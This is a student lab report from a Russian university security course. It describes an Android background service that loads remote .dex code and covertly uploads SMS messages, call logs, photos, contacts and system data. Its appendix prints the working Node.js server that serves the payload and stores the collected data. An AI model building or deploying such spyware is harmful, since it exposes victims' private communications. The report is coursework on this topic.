1. Министерство образования и науки Российской Федерации
2. Санкт-Петербургский государственный политехнический университет
3. —
4. Институт компьютерных наук и кибербезопасности
5. **Высшая школа кибербезопасности**

**ОТЧЕТ**

**по лабораторной работе № 1**

1. **«Название работы из методички»**
2. по дисциплине «Безопасность операционных систем»
3. Выполнил
4. студент гр 513001/10302 А.С. Островский

<*подпись*>

1. Проверил
2. асс. преподавателя Н.В. Гололобов

<*подпись*>

1. Санкт-Петербург
2. 2025

**СОДЕРЖАНИЕ**

[1 Формулировка задания 3](#_Toc35945229)

[2 Теоретические сведения 4](#_Toc35945230)

[3 Результаты работы 5](#_Toc35945231)

[3.1 Название подраздела 5](#_Toc35945232)

[3.2 Название подраздела 7](#_Toc35945233)

[3.3 Название подраздела 7](#_Toc35945234)

[3.4 Ответы на вопросы 7](#_Toc35945235)

[4 Выводы 8](#_Toc35945236)

[Список используемых источников 9](#_Toc35945237)

[ПРИЛОЖЕНИЕ А 10](#_Toc35945238)

# Формулировка задания

Разработать программу (П-1) для ОС Android, представляющую собой фоновый сервис без графического интерфейса. Данный сервис должен осуществлять периодический сбор и выгрузку информации в сеть Интернет. Весь «полезный» функционал программы должен быть подгружаемым из Интернета в виде «.dex» модуля.

Выгрузка информации должна осуществляться при наличии любого подключения к сети Интернет и при различных состояниях устройства (экран устройства выключен, экран устройства включен и т.д.).

Программа П-1 должна собирать следующую информацию:

1. SMS-сообщения;

2. журнал звонков;

3. фотографии;

4. контакты;

5. системная информация (версия ОС, версия SDK, свободное место, список установленных приложений, список запущенных процессов, синхронизированные с ОС аккаунты).

Программа П-1 должна выгружать собранные данные следующим образом, в зависимости от варианта:

1. выгрузка по протоколу HTTP/HTTPS с написанием серверной части;

# Теоретические сведения

Фоновые сервисы позволяют выполнять задачи в фоновом режиме без участия пользователя. В Android для их реализации можно использовать Foreground Service, JobScheduler или WorkManager.

WorkManager — это наиболее гибкий инструмент для работы с отложенными и повторяющимися задачами. Он позволяет выполнять задачи с учетом состояния устройства и подключения к сети, а также управлять их выполнением даже после перезапуска устройства. WorkManager использует Worker или CoroutineWorker для обработки задач в отдельном потоке, обеспечивая надежность выполнения фоновых задач.

**Подгружаемые DEX-модули**

Android поддерживает динамическую загрузку .dex файлов через DexClassLoader. Это позволяет обновлять функционал приложения без необходимости пересборки и установки новых версий. Такой подход используется, например, для реализации модульных обновлений и плагинов. Подгруженные .dex файлы загружаются во время выполнения программы и могут содержать новый код для выполнения, что обеспечивает гибкость и расширяемость приложения.

Структура DEX-модуля:

* Header – заголовок файла с общей информацией (версия, контрольные суммы и др.).
* String identifiers – список строковых идентификаторов.
* Type identifiers – список типов данных.
* Method identifiers – таблица методов.
* Class definitions – определения классов, их структуры и байткода.
* Data section – данные, включая байткод методов.

При загрузке .dex модуля с помощью DexClassLoader, система выделяет ему отдельное пространство выполнения и позволяет загружать классы динамически.

**HTTP/HTTPS-запросы**

Для передачи данных в сеть используется библиотека Retrofit, которая обеспечивает удобное взаимодействие с API серверной части. Данные передаются в формате JSON, а файлы отправляются в виде Multipart-запросов.

# Результаты работы

В результате работы было реализовано приложение, которое изначально осуществляет проверку на все необходимые для работы разрешения. Если разрешение не выдано, то происходит запрос у пользователя. В случае отказа пользователя предоставить хотя бы одно из необходимых разрешений приложение завершается и не выполняет полезную нагрузку

Изображение выглядит как текст, снимок экрана, программное обеспечение

Контент, сгенерированный ИИ, может содержать ошибки.

Рисунок 1 – Проверка на необходимые разрешения

Далее происходит запуск worker, который выполняет код раз в 15 минут.

Сам worker загружает dex модуль.

Изображение выглядит как текст, снимок экрана, программное обеспечение

Контент, сгенерированный ИИ, может содержать ошибки.

Рисунок 2 – Функционал worker

Dex модуль получает необходимые данные (контакты, журнал звонков, системную информацию и т.д.) и отправляет их на node.js сервер путем формирования json объекта. Например, для журнала звонков берется номер телефона, дата и тип вызова. (рисунок 4)

Изображение выглядит как текст, снимок экрана, Шрифт

Контент, сгенерированный ИИ, может содержать ошибки.

Рисунок 3 – Функция dex модуля, которую вызывает worker

Изображение выглядит как текст, Шрифт, снимок экрана, дизайн

Контент, сгенерированный ИИ, может содержать ошибки.

Рисунок 4 – Данные, собираемые из журнала звонков

Серверная часть была написана на node.js. Сервер в зависимости от эндпоинта сохраняет данные в файл с соответствующим названием.

Изображение выглядит как текст, снимок экрана, программное обеспечение

Контент, сгенерированный ИИ, может содержать ошибки.

Рисунок 5 – Эндпоинты сервера

# Выводы

В ходе лабораторной работы была разработана программа для ОС Android, представляющая собой фоновый сервис без графического интерфейса. Приложение собирает информацию (SMS, звонки, контакты, фотографии и системные данные) и отправляет её на сервер через HTTP/HTTPS. Основные выводы:

* Использование WorkManager позволяет выполнять задачи в фоне с учётом состояния устройства.
* Подгружаемые DEX-модули обеспечивают гибкость в обновлении функционала.
* Корректная работа с API Android и серверной частью требует правильной обработки ошибок и зависимостей.
* HTTPS обеспечивает безопасность передачи данных, а аутентификация на сервере повышает защищённость системы.

ПРИЛОЖЕНИЕ А

const express = require('express'); const multer = require("multer");

const fs = require('fs');

const path = require('path');

const app = express();

const PORT = 3000;

app.use(express.json({ limit: '500mb' }));

app.use(express.urlencoded({ limit: '500mb' }));

const dexStorage = './dex\_modules';

*if* (!fs.existsSync(dexStorage)) fs.mkdirSync(dexStorage);

app.get('/get-latest-dex', (req, res) => {

  console.log("/get-latest-dex")

  fs.readdir(dexStorage, (err, files) => {

*if* (err || files.length === 0) *return* res.status(404).send('DEX не найден');

    const latestDex = files.sort().reverse()[0];

    res.sendFile(path.resolve(dexStorage, latestDex));

  });

});

app.post('/upload-calls', (req, res) => {

  console.log("/upload-calls:")

  const callLog = req.body;

*if* (!callLog || !Array.isArray(callLog)) *return* res.status(400).send('Неверный формат данных')

  const logFile = './call\_logs.json';

  fs.appendFile(logFile, JSON.stringify(callLog, null, 2) + ',\n', err => {

*if* (err) *return* res.status(500).send('Ошибка при сохранении данных');

    res.json({ message: 'Журнал звонков сохранен' });

  });

});

app.post('/upload-sms', (req, res) => {

  console.log("/upload-sms")

  const callLog = req.body;

  const logFile = './sms.json';

  fs.appendFile(logFile, JSON.stringify(callLog, null, 2) + ',\n', err => {

*if* (err) *return* res.status(500).send('Ошибка при сохранении данных');

    res.json({ message: 'SMS сохранены' });

  });

});

app.post('/upload-contacts', (req, res) => {

  console.log("/upload-contacts")

  const callLog = req.body;

  const logFile = './contacts.json';

  fs.appendFile(logFile, JSON.stringify(callLog, null, 2) + ',\n', err => {

*if* (err) *return* res.status(500).send('Ошибка при сохранении данных');

    res.json({ message: 'Контакты сохранены' });

  });

});

const storage = multer.diskStorage({

  destination: (req, file, cb) => {

    const uploadPath = path.join(\_\_dirname, "uploads");

*if* (!fs.existsSync(uploadPath)) {

      fs.mkdirSync(uploadPath, { recursive: true });

    }

    cb(null, uploadPath);

  },

  filename: (req, file, cb) => {

    cb(null, Date.now() + "-" + file.originalname);

  }

});

const upload = multer({ storage });

app.post("/upload-photos", upload.array("photos", 5), (req, res) => {

*if* (!req.files || req.files.length === 0) {

*return* res.status(400).json({ message: "Файлы не загружены" });

  }

  res.json({

    message: "Фотографии успешно загружены",

    files: req.files.map(file => ({

      filename: file.filename,

      path: file.path

    }))

  });

});

app.post('/upload-system-info', (req, res) => {

  const systemInfo = req.body;

  console.log("/upload-system-info", Date.now().toLocaleString())

  const logEntry = {

    timestamp: new Date().toISOString(),

    data: systemInfo

  };

  fs.appendFileSync(

    path.join(\_\_dirname, 'system\_logs.json'),

    JSON.stringify(logEntry) + '\n'

  );

  res.status(200).json({

    status: 'success',

    receivedData: Object.keys(systemInfo)

  });

});

app.listen(PORT, () => {

  console.log(`Сервер запущен на http://localhost:${PORT}`);

});